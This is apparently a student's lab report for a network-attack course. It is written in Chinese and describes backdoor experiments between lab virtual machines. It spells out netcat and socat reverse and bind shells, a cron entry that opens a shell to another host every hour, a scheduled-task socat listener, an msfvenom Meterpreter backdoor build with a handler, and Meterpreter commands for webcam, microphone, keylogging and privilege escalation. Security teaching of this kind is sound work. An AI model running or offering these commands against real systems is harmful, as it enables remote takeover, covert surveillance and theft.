1. 程式人生 > >2018-2019-2 網絡對抗技術 20165230 Exp2 後門原理與實踐

2018-2019-2 網絡對抗技術 20165230 Exp2 後門原理與實踐

ping 反向連接 後門 操作 netcat 方式 拍照 art 基本

目錄

  • 1.實驗內容
  • 2.基礎問題回答
  • 3.常用後門工具實踐
    • 3.1netcat
    • 3.2Meterpreter
    • 3.3socat
  • 4.實驗過程
    • 任務一:使用netcat獲取主機操作Shell,cron啟動
    • 任務二:使用socat獲取主機操作Shell, 任務計劃啟動
    • 任務三: 使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
    • 任務四:使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
  • 5.實驗遇到的問題
  • 6.實驗總結與體會

1.實驗內容

  1. 使用netcat獲取主機操作Shell,cron啟動
  2. 使用socat獲取主機操作Shell, 任務計劃啟動
  3. 使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
  4. 使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
  5. 使用MSF生成shellcode,註入到實踐1中的pwn1中,獲取反彈連接Shell

2.基礎問題回答

1.例舉你能想到的一個後門進入到你系統中的可能方式?

  • 捆綁在下載的軟件中
  • 郵箱附件、網站鏈接
  • 註入在可執行文件裏
  • 註入在office文件的宏裏面

2.例舉你知道的後門如何啟動起來(win及linux)的方式?

  • 更改名字偽裝成其他程序,一點擊即啟動
  • Linux可以通過cron啟動
  • Windows下通過任務計劃、開機自啟動、修改註冊表項來啟動後門程序

3.Meterpreter有哪些給你映像深刻的功能?

  • 獲取攝像頭權限進行拍照、錄像
  • 獲取麥克風權限進行錄音
  • 獲取鍵盤輸入
  • 提升用戶權限

4.如何發現自己有系統有沒有被安裝後門?

  • 安裝殺毒軟件並進行掃描
  • 觀察進程以及端口,看看有沒有異常開放的端口
  • 查看開機自啟動向、註冊表項中有無異常

3.常用後門工具實踐

3.1netcat

Windows獲得Linux Shell

  • Windows:使用ipconfig指令查看本機IP:192.168.19.128
    技術分享圖片

  • 使用ncat.exe程序監聽本機的
    5230端口:ncat.exe -l -p 5230

  • Kali:使用nc指令的-e選項反向連接Windows主機的5230端口:ncat 192.168.19.128 5230 -e /bin/sh

  • Windows下成功運行Kali的shell,運行ls指令如下:
    技術分享圖片

Linux獲得Windows Shell

  • Kali:ifconfig查看IP:
    192.168.19.129
    技術分享圖片

  • Kali使用nc指令監聽5230端口:nc -l -p 5230

  • Windows:使用ncat.exe程序的-e選項項反向連接Kali主機的5230端口:ncat.exe -e cmd.exe 192.168.19.128 5230

  • Kali:運行Windows的cmd shell 並輸入命令執行:
    技術分享圖片

使用nc傳輸數據

  • Windows下監聽5230端口:ncat.exe -l 5230

  • Kali下連接到Windows的`5230端口:nc 192.168.19.128 5230

  • 建立之後進行文字傳輸,後面會說道用來傳輸後門:
    技術分享圖片
    技術分享圖片

使用nc傳輸文件

  • Windows下監聽5230端口,把收到的數據保存到file1.out中:ncat.exe -l 5230 > file1.out

  • Kali下先創建file1.in文件,再反彈連接到Windows的`5230端口:nc 192.168.19.128 5230 < file1.in

  • 傳輸成功
    技術分享圖片

3.2Meterpreter

  • 後門就是一個程序。
  • 傳統的理解是:有人編寫一個後門程序,大家拿來用。
  • 後來有一些牛人呢,就想編寫一個平臺能生成後門程序。這個平臺呢,把後門的基本功能(基本的連接、執行指令),
  • 擴展功能(如搜集用戶信息、安裝服務等功能),
    • 編碼模式,
    • 運行平臺,
    • 以及運行參數
    • 全都做成零件或可調整的參數。用的時候按需要組合,就可以生成一個可執行文件。
  • 典型的平臺就包括有:
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
  • 參數說明
-p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。
-e 使用的編碼器,用於對shellcode變形,為了免殺。
-i 編碼器的叠代次數。如上即使用該編碼器編碼5次。
-b badchar是payload中需要去除的字符。
LHOST 是反彈回連的IP
LPORT 是回連的端口
-f 生成文件的類型
> 輸出到哪個文件

3.3socat

  • socat是ncat的增強版,
  • 它使用的格式是socat [options] <address> <address>,其中兩個address是必選項,而options 是可選項。
  • socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。

4.實驗過程

任務一:使用netcat獲取主機操作Shell,cron啟動

  • 先在Windows系統下,監聽`5230端口:
    技術分享圖片

  • 在Kali環境下,使用man cron指令查看crontab命令的幫助文檔:
    技術分享圖片

  • crontab指令可以用於設置周期性被執行的指令。該命令從標準輸入設備讀取指令,並將其存放於crontab文件中,以供之後讀取和執行。

  • crontab -e指令編輯一條定時任務,選擇編輯器時選擇基本的vim編輯器就行:
    技術分享圖片

  • 在最後一行添加37 * * * * /bin/netcat 192.168.19.129 5230 -e /bin/sh,意思是在每個小時的第37分鐘反向連接Windows主機的5230端口,設置成37的原因是我當時的時間是17:36(這樣過一會就能看到連接效果了)

  • 當時間到了17:37時,此時已經獲得了Kali的shell,可以輸入指令
    技術分享圖片

任務二:使用socat獲取主機操作Shell, 任務計劃啟動

  • 在Windows系統下,打開控制面板下搜索任務計劃就可以開始創建任務
    技術分享圖片

  • 點擊觸發器選項卡,選擇新建,然後將開始任務設置為工作站鎖定時
    技術分享圖片

  • 點擊常規選項卡,輸入名稱(學號):
    技術分享圖片

  • 在操作->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5230 exec:cmd.exe,pty,stderr(兩個參數之間用空格或者;),這個命令的作用是把cmd.exe綁定到端口5230,同時把cmd.exe的stderr重定向到stdout上:
    技術分享圖片

  • 創建完成之後,可以windows+L鎖定計算機讓它執行。
    技術分享圖片

  • 此時,在Kali環境下輸入指令socat - tcp:192.168.19.129:5230,這裏的第一個參數-代表標準的輸入輸出,第二個流連接到Windows主機的5230端口,此時可以發現已經成功獲得了一個cmd shell
    技術分享圖片

任務三: 使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

  • 在kali中輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=5239 -f exe > 20155230_backdoor.exe註意這裏的IP地址為控制端IP,即LinuxIP,生成後門程序:
    技術分享圖片

  • 在Windows下執行ncat.exe -l 5230 > 20165230_backdoor.exe,這樣被控主機就進入了接收文件模式
    技術分享圖片

  • 在kali中通過nc 192.168.19.129 5230 < 20165230_backdoor.exe將生成的後門程序傳送到Windows主機上.註意這裏的IP為被控主機IP,即WindowsIP
    技術分享圖片

  • 傳送接收文件成功

  • 在Kali上使用msfconsole指令進入msf控制臺,
    技術分享圖片

  • 使用監聽模塊,設置payload,設置反彈回連的IP和端口:
    技術分享圖片

use exploit/multi/handler  使用監聽模塊,設置payload
set payload windows/meterpreter/reverse_tcp,使用和生成後門程序時相同的payload
set LHOST 192.168.19.129,這裏用的是LinuxIP,和生成後門程序時指定的IP相同
set LPORT 5230,同樣要使用相同的端口
  • 設置完成後,執行監聽exploit
    技術分享圖片

  • 雙擊打開Windows上的後門程序

  • 此時Kali上已經獲得了Windows主機的連接,並且得到了遠程控制的shell:
    技術分享圖片

任務四:使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

  • 使用record_mic指令截獲一段音頻:
    技術分享圖片

  • 使用webcam_snap指令可以使用攝像頭進行拍照:
    技術分享圖片

  • 使用webcam stream指令可以使用攝像頭進行錄像:

  • 使用screenshot指令可以進行截屏:
    技術分享圖片

  • 在kali中使用keyscan_start指令開始,在windows中記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄:
    技術分享圖片

  • 先使用getuid指令查看當前用戶,使用getsystem指令進行提權,如圖所示,提權成功:
    技術分享圖片

5.實驗遇到的問題

  • 做實驗的兩臺虛擬機之間不能互相ping通,提示network is unreachable
    技術分享圖片

  • 解決方法:將兩臺虛擬機都關機,然後將網絡配置為NAT模式,註意!不能掛起進行配置!否則將不成功!!實驗中kali虛擬機和windows虛擬機是在NAT網絡下實現交互的,
    有點奇怪的是kali虛擬機在NAT網絡模式下沒法上網,只有把改為橋接模式才行,
    而windows虛擬機在橋接模式下又不能上網了,這就很氣人了。
    virtualbox的網絡地址轉換NAT模式和NAT網絡模式是兩個不同的模式,
    詭異的是在NAT模式下,kali虛擬機和windows虛擬機自動分配的地址都是一樣的,手工配置IP地址還是會有問題,ping肯定是ping不通的。
    最後還是用的NAT網絡模式,兩個虛擬機的IP地址會不一樣。
    kali虛擬機沒法上網無所謂了,只要能跟windows虛擬機連上就行了,兩個計算機的文件傳輸用netcat實現。

  • 在進行webcam_snap時提示錯誤

  • 解決方法:windows系統裏沒有攝像頭設備,那我們就把攝像頭的USB連接切到win7上面來,因為攝像頭這種USB設備不可能虛擬機和本機一起使用。在虛擬機->可移動設備->最後一個選項裏選擇連接主機即可解決
    技術分享圖片
    技術分享圖片

6.實驗總結與體會

  • 這次實驗研究的是後門的原理和應用,操作起來並不是很復雜,主要是三個步驟:
    1. 生成後門程序2. 將後門植入到受害者的計算機中3. 運行後門程序
  • 做實驗的過程中小問題一直頻發,而且最後攝像頭還是調用不了,不過好多問題都解決了,很有成就感。有很多實驗結果非常有意思,尤其是 meterpreter的應用。我真切的感受到現在的互聯網環境之惡劣,以後也應該更加註意保密意識。

2018-2019-2 網絡對抗技術 20165230 Exp2 後門原理與實踐